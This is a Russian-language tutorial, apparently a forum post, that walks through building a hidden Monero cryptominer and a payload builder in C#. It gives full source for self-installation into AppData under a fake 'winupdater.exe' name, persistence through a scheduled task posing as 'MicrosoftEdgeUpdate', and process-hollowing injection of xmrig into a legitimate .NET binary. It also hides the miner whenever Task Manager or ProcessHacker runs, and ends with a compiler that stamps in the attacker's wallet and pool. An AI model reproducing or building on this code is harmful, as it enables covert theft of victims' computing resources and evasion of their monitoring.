Свой скрытый miner - builder на C#
Сегодня покажу вам один из вариантов написание своего майнера, сделанного в билдер
Создаем проект C#, Консольное приложение (.NET Framework), выбираем платформу .NET Framework 4.6
Создаем, и первым делом пропишем установку нашего майнера, для этого я предпочитаю создать новый класс
После можно назвать его Installer, для удобства.
public FileInfo FileName = new FileInfo("winupdater.exe"); // Задаем имя нашего майнера
public DirectoryInfo DirectoryName = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Windows")); // Задаем путь в appdata
Дальше создаем void, который будет создавать саму папку
public void IsInstalled()
{
Path.Combine(DirectoryName.FullName, FileName.Name); // Полный путь, с именем в папке
}
public void CreateDirectory()
{
if (DirectoryName.Exists) // Делаем проверку
return;
DirectoryName.Create(); // Создаем
}
Дальше создаем ещё один void с созданием файла в папке, это будет наш майнер, который считываем содержимое файла в виде массива байтов, и публикуем, все то что в содержимом файле.
public void InstallFile()
{
string path = Path.Combine(DirectoryName.FullName, FileName.Name);
if (FileName.Exists) // Опять проверяем
{
foreach (Process process in Process.GetProcesses())
{
try
{
if (process.MainModule.FileName == path)
process.Kill(); // Если есть процес, то убиваем
}
catch
{
}
}
File.Delete(path);// Если есть папка, удаляем
Thread.Sleep(280); // Задержка
}
using (FileStream fileStream = new FileStream(path, FileMode.Create, FileAccess.Write))
{
byte[] buffer = File.ReadAllBytes(Application.ExecutablePath); // Считываем содержимое файла в виде массива байтов
fileStream.Write(buffer, 0, buffer.Length); // И публикуем, все то что в содержимом файле
}
}
public void Run()
{
try
{
IsInstalled();
CreateDirectory();
InstallFile();
}
catch
{
}
}
Дальше идем в Program и в Main пишем следующий код
try
{
new Installer().Run();
}
catch (Exception ex)
{
}
Дальше прыгаем в планировщик задач
string FileName = "winupdater.exe"; // Название процесса
string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Windows"); // Путь в appdata
try
{
var startInfo = new ProcessStartInfo // Идем в планировщик задач
{
FileName = "schtasks.exe",
CreateNoWindow = false,
WindowStyle = ProcessWindowStyle.Hidden, // Скрываем
Arguments = @"/create /sc MINUTE /mo 3 /tn ""MicrosoftEdgeUpdate"" /tr """ + folder + "\\" + FileName + @""" /f" // Задаем аргументы
};
Process.Start(startInfo); // Запускаем
}
catch { }
const string pool = "pool.hashvault.pro:80"; // Наши значения в строке pool
const string moneroUsage = "25";
const string moneroWallet = ""; // Наши значения в строке moneroWallet
string args2 = "--algo rx/0 --donate-level 0 --max-cpu-usage " + moneroUsage + " -o" + pool + " -u " + moneroWallet; // Добавим аргументов
string withoutExtension1 = Path.GetFileNameWithoutExtension("C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe"); // Путь для запуска
List<string> stringList = new List<string>(); // Создаем лист процессов при которых будет останавливаться
stringList.Add("mmc");
stringList.Add("ProcessHacker");
stringList.Add("Taskmgr");
stringList.Add("Диспетчер задач");
foreach (string processName in stringList)
{
for (Process[] processesByName = Process.GetProcessesByName(processName); processesByName.Length != 0; processesByName = Process.GetProcessesByName(processName))
{
foreach (Process process in Process.GetProcessesByName(withoutExtension1))
{
try
{
process.Kill();
}
catch
{
}
}
try
{
if (Process.GetProcessesByName(withoutExtension1).Length == 0)
Program.PE.Run(xmr,"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe", args2); // Запускаем
}
catch { }
Дальше в классе Program, вставляем код
public static class PE
{
[DllImport("kernel32.dll")]
private static extern unsafe bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
Program.PE.StartupInfo* lpStartupInfo,
byte[] lpProcessInfo);
[DllImport("kernel32.dll")]
private static extern long VirtualAllocEx(
long hProcess,
long lpAddress,
long dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
private static extern long WriteProcessMemory(
long hProcess,
long lpBaseAddress,
byte[] lpBuffer,
int nSize,
long written);
[DllImport("ntdll.dll")]
private static extern uint ZwUnmapViewOfSection(long ProcessHandle, long BaseAddress);
[DllImport("kernel32.dll")]
private static extern bool SetThreadContext(long hThread, IntPtr lpContext);
[DllImport("kernel32.dll")]
private static extern bool GetThreadContext(long hThread, IntPtr lpContext);
[DllImport("kernel32.dll")]
private static extern uint ResumeThread(long hThread);
[DllImport("kernel32.dll")]
private static extern bool CloseHandle(long handle);
public static unsafe void Run(byte[] payloadBuffer, string host, string args)
{
int num1 = Marshal.ReadInt32((object)payloadBuffer, 60);
int num2 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 56);
int nSize = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 60);
int num3 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 16);
short num4 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 2);
short num5 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 16);
long num6 = Marshal.ReadInt64((object)payloadBuffer, num1 + 24 + 24);
Program.PE.StartupInfo startupInfo = new Program.PE.StartupInfo();
startupInfo.cb = (uint)Marshal.SizeOf<Program.PE.StartupInfo>(startupInfo);
startupInfo.wShowWindow = (ushort)0;
startupInfo.dwFlags = 1U;
byte[] lpProcessInfo = new byte[24];
IntPtr num7 = Marshal.AllocHGlobal(1232 / 16);
string lpCommandLine = host;
if (!string.IsNullOrEmpty(args))
lpCommandLine = lpCommandLine + " " + args;
string currentDirectory = Directory.GetCurrentDirectory();
Marshal.WriteInt32(num7, 48, 1048603);
Program.PE.CreateProcess((string)null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, true, 4U, IntPtr.Zero, currentDirectory, &startupInfo, lpProcessInfo);
long num8 = Marshal.ReadInt64((object)lpProcessInfo, 0);
long num9 = Marshal.ReadInt64((object)lpProcessInfo, 8);
int num10 = (int)Program.PE.ZwUnmapViewOfSection(num8, num6);
Program.PE.VirtualAllocEx(num8, num6, (long)num2, 12288U, 64U);
Program.PE.WriteProcessMemory(num8, num6, payloadBuffer, nSize, 0L);
for (short index = 0; (int)index < (int)num4; ++index)
{
byte[] numArray = new byte[40];
Buffer.BlockCopy((Array)payloadBuffer, num1 + (24 + (int)num5) + 40 * (int)index, (Array)numArray, 0, 40);
int num11 = Marshal.ReadInt32((object)numArray, 12);
int length = Marshal.ReadInt32((object)numArray, 16);
int srcOffset = Marshal.ReadInt32((object)numArray, 20);
byte[] lpBuffer = new byte[length];
Buffer.BlockCopy((Array)payloadBuffer, srcOffset, (Array)lpBuffer, 0, lpBuffer.Length);
Program.PE.WriteProcessMemory(num8, num6 + (long)num11, lpBuffer, lpBuffer.Length, 0L);
}
Program.PE.GetThreadContext(num9, num7);
byte[] bytes = BitConverter.GetBytes(num6);
long num12 = Marshal.ReadInt64(num7, 136);
Program.PE.WriteProcessMemory(num8, num12 + 16L, bytes, 8, 0L);
Marshal.WriteInt64(num7, 128, num6 + (long)num3);
Program.PE.SetThreadContext(num9, num7);
int num13 = (int)Program.PE.ResumeThread(num9);
Marshal.FreeHGlobal(num7);
Program.PE.CloseHandle(num8);
Program.PE.CloseHandle(num9);
}
[StructLayout(LayoutKind.Explicit, Size = 104)]
public struct StartupInfo
{
[FieldOffset(0)]
public uint cb;
[FieldOffset(60)]
public uint dwFlags;
[FieldOffset(64)]
public ushort wShowWindow;
}
}
Дальше для удобства создаем builder
Создаем и накидываем пару textBox для кошелька и пула, и button для создания build. Получаем вот такую картину
Дальше делаем значение button1_Click
CompilerParameters Params = new CompilerParameters();
Params.GenerateExecutable = true;
Params.ReferencedAssemblies.Add("System.dll"); //Добавлем линк в исходный файл на System.dll
Params.ReferencedAssemblies.Add("System.Windows.Forms.dll"); //Тоже самое но на System.Windwos.Forms.dlle
Params.ReferencedAssemblies.Add("System.Management.dll");
Params.ReferencedAssemblies.Add("System.Core.dll");
Params.CompilerOptions = "/unsafe";
Params.CompilerOptions += "\n/t:winexe"; //Убираем cmd окно путём объявления программы Windows приложением
Params.OutputAssembly = "Build.exe"; //Имя исходного файла
Дальше кидаем в ресурсы наш код, и xmrig
Дальше опять прописываем в button1_Click
string resource = Properties.Resources.Program;
string resource2 = Properties.Resources.Installer;
string resource3 = Properties.Resources.Resources_Designer;
Добавляем xmrig в ресурсы, для нашего компилятора
string resxPath2 = "VolVeRFMR.Properties.Resources";
using (var v = new ResourceWriter(Path.GetTempPath() + @"\" + resxPath2 + ".resources"))
{
v.AddResource("xmrig", Properties.Resources.xmrig); // Кидаем xmrig в ресурсы
Params.EmbeddedResources.Add(System.IO.Path.GetTempPath() + @"\" + resxPath2 + ".resources");
Дальше заменяем значения для textbox
resource = resource.Replace("*MASSEGE*", textBox1.Text); // Заменяем значения для MASSEGE
resource = resource.Replace("*MASSEGE2*", textBox2.Text); // Заменяем значения для MASSEGE2
const string pool = "*MASSEGE2*"; // Наши значения в строке pool
const string moneroWallet = "*MASSEGE*"; // Наши значения в строке moneroWallet
И дальше дописываем button1_Click
var settings = new Dictionary<string, string>();
settings.Add("CompilerVersion", "v4.0"); //Указываем версию framework-a 2.0
CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, resource, resource2, resource3);
if (Results.Errors.Count > 0)
{
foreach (CompilerError err in Results.Errors)
MessageBox.Show(err.ToString()); //Выводим циклом ошибки, если они есть
}
else
{
MessageBox.Show("Готово, файл появится в том же месте где и программа :)"); //Выводим сообщение что всё прошло успешно
}
После этого делаем ресурсы, опять идем в Program, и заменяем
byte[] xmr = VolVeRFMR.Properties.Resources.xmrig;
Обязательно посмотрите как именно называется ваш namespace
И в Program пишем: using VolVeRFMR.Properties;
Запускаем, вводим значение и нажимаем Build, и если все работает
Кому надо уже готовый: https://github.com/VolVeRFM/CPU-Miner-Builder